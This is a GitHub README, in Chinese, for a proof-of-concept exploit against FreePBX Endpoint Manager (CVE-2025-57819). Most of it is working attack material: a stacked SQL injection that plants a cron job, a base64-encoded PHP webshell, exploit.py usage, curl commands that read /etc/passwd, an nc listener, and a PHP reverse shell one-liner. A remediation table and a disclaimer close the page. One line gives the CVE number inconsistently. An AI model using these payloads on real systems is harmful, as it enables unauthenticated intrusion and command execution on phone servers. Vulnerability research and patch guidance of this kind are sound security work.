jf-gondim/freepbx-endpoint-sqli-rce
GitHub: jf-gondim/freepbx-endpoint-sqli-rce
针对 FreePBX Endpoint Manager 模块 CVE-2025-7819 的未认证 SQL 注入到远程代码执行漏洞的 PoC 利用工具。
Stars: 0 | Forks: 0
# CVE-2025-57819 — FreePBX Endpoint 模块 SQL 注入 → 远程代码执行
## 摘要
FreePBX 是 Asterisk PBX 的开源 Web GUI,广泛应用于企业电话系统中。**Endpoint Manager** 模块在 `/admin/ajax.php` 暴露了一个 AJAX 处理程序,该程序接受一个 `brand` 参数,并在未经清理的情况下将其直接插入到 SQL 查询中。未经身份验证的远程攻击者可以注入任意 SQL,向 `cron_jobs` 表中插入一行数据,并利用 FreePBX cron 守护进程将一个可执行的 PHP webshell 写入到 Web 根目录——从而在约一分钟内实现未经身份验证的远程代码执行。
## 漏洞详情
| 字段 | 值 |
|-------------------|-------|
| **CVE ID** | CVE-2025-57819 |
| **CVSS Score** | 9.8 (Critical) |
| **CVSS Vector** | `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H` |
| **CWE** | [CWE-89](https://cwe.mitre.org/data/definitions/89.html) — SQL 命令中使用的特殊元素处理不当 |
| **组件** | FreePBX Endpoint Manager 模块 |
| **受影响版本** | FreePBX 17.x (未修补) |
| **已修补版本** | FreePBX 17.x (已修补) |
| **攻击向量** | 网络 — 无需身份验证 |
## 技术分析
该易受攻击的请求针对 Endpoint Manager 的 AJAX 命令处理程序:
```
GET /admin/ajax.php?module=FreePBX%5Cmodules%5Cendpoint%5Cajax&command=model&template=x&model=model&brand= HTTP/1.1
Host:
```
`brand` 参数在未经过转义或使用预编译语句的情况下被直接拼接到 SQL 查询中。攻击者可以闭合查询字符串并追加第二条语句:
```
x' ;INSERT INTO cron_jobs
(modulename, jobname, command, class, schedule, max_runtime, enabled, execution_order)
VALUES
('sysadmin', 'webshell',
'echo "PD9waHAgc3lzdGVtKCRfR0VUW2NtZF0pOyA/Pg=="|base64 -d >/var/www/html/webshell.php',
NULL, '* * * * *', 30, 1, 1) --
```
注入的 cron 条目在 Web 服务器/Asterisk 进程所有者的权限下每分钟运行一次,并将以下内容写入:
```
```
写入到 `/var/www/html/webshell.php`,从而允许通过 HTTP 执行未经身份验证的 OS 命令。
### 根本原因
Endpoint Manager 的 AJAX 处理程序使用字符串格式化而不是参数化查询来动态构建 SQL。`brand` 字段在嵌入到 `SELECT` 语句之前从未经过验证或转义,使其极易被注入。
### 攻击链
```
Attacker ──GET (SQL injection)──▶ /admin/ajax.php ──INSERT──▶ cron_jobs table
│
FreePBX cron daemon (≤60s) │
▼
Attacker ──GET ?cmd=id──────────▶ /webshell.php ◀── written ── cron exec
```
## Exploit 用法
### 前置要求
```
pip install requests urllib3
```
### 参数
```
-t, --target Target IP address or hostname (required)
--timeout Seconds to wait for target availability (default: 30)
--delay Seconds to wait for cron job to execute (default: 65)
```
### 操作步骤
**1. 针对目标运行 exploit:**
```
# 基本 — 等待 65 秒以触发 cron job
python3 exploit.py -t
# 使用 hostname
python3 exploit.py -t connected.htb
# 对慢速目标进行 Extended cron wait
python3 exploit.py -t --delay 90
```
**2. 如果确认 webshell 存在,直接与其进行交互:**
```
curl "http:///webshell.php?cmd=id"
curl "http:///webshell.php?cmd=cat+/etc/passwd"
```
**3. 通过 webshell 升级为反向 shell:**
在你的机器上启动一个监听器:
```
nc -lvnp
```
然后通过 `cmd` 参数(URL 编码)触发一个 PHP 反向 shell:
```
curl "http:///webshell.php?cmd=php+-r+%27%24sock%3Dfsockopen%28%22%22%2C%29%3Bsystem%28%22%2Fbin%2Fbash+%3C%263+%3E%263+2%3E%263%22%29%3B%27"
```
作为 `cmd` 发送的 URL 解码 payload 为:
```
php -r '$sock=fsockopen("",);system("/bin/bash <&3 >&3 2>&3");'
```
### 预期输出
```
╔═══════════════════════════════════════════════════════════════════╗
║ FreePBX Endpoint Module · SQL Injection → Cron Webshell ║
║ CVE-2025-57819 ║
╚═══════════════════════════════════════════════════════════════════╝
CVE ID : CVE-2025-57819
Component : FreePBX Endpoint Module
Affected : unpatched 17.x → Patched: patched 17.x
CVSS Score : 9.8 (Critical)
CVSS Vector : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWE : CWE-89 — SQL Injection
Type : Unauthenticated SQL Injection → Cron-scheduled PHP Webshell
Reference : https://nvd.nist.gov/vuln/detail/CVE-2025-57819
14:03:11 [*] Probing target (max 30s) ...
14:03:12 [+] Target is alive — HTTP 200
14:03:12 [*] Inject endpoint : http:///admin/ajax.php
14:03:12 [!] Injecting cron job via SQL injection ...
14:03:12 [+] Injection request sent
14:03:12 [*] Waiting 65s for cron job to fire ...
14:04:17 [*] Probing webshell at http:///webshell.php?cmd=id ...
14:04:17 [+] Webshell is active — command output:
uid=997(asterisk) gid=993(asterisk) groups=993(asterisk)
14:04:17 [+] Webshell URL: http:///webshell.php?cmd=
14:04:17 [+] Exploit routine complete.
```
## 修复建议
| 优先级 | 操作 |
|--------------|--------|
| **紧急** | 立即应用 FreePBX 官方针对 CVE-2025-57819 的补丁 |
| **紧急** | 删除任何已存在的 `/var/www/html/webshell.php` 文件 |
| **高** | 将对 `/admin/ajax.php` 的访问限制为经过身份验证且受信任的网络源 |
| **高** | 审查并清理 Endpoint Manager 中的所有 SQL 查询 — 使用预编译语句 |
| **中** | 限制 `cron_jobs` 表:严格控制哪些角色可以执行 INSERT 操作 |
| **中** | 应用 WAF 规则,拦截 AJAX endpoint 上的堆叠查询模式 |
| **低** | 以最小权限账户运行 FreePBX/Asterisk 进程,并禁止其对 Web 根目录的写入权限 |
## 参考文献
- [NVD — CVE-2025-57819](https://nvd.nist.gov/vuln/detail/CVE-2025-57819)
- [CWE-89: SQL 注入](https://cwe.mitre.org/data/definitions/89.html)
- [OWASP: SQL 注入](https://owasp.org/www-community/attacks/SQL_Injection)
- [OWASP Top 10: A03 注入](https://owasp.org/Top10/A03_2021-Injection/)
- [FreePBX 项目](https://www.freepbx.org/)
- [watchTowr Labs 参考 PoC](https://github.com/watchtowrlabs/watchTowr-vs-FreePBX-CVE-2025-57819/tree/main)
## 免责声明
此 exploit 仅供**教育目的和经授权的安全测试**使用。仅对你拥有或已获得明确书面测试许可的系统使用。未经授权的使用是非法且不道德的。
标签:CISA项目, FreePBX, WebShell, 安全漏洞, 编程工具, 远程代码执行, 逆向工具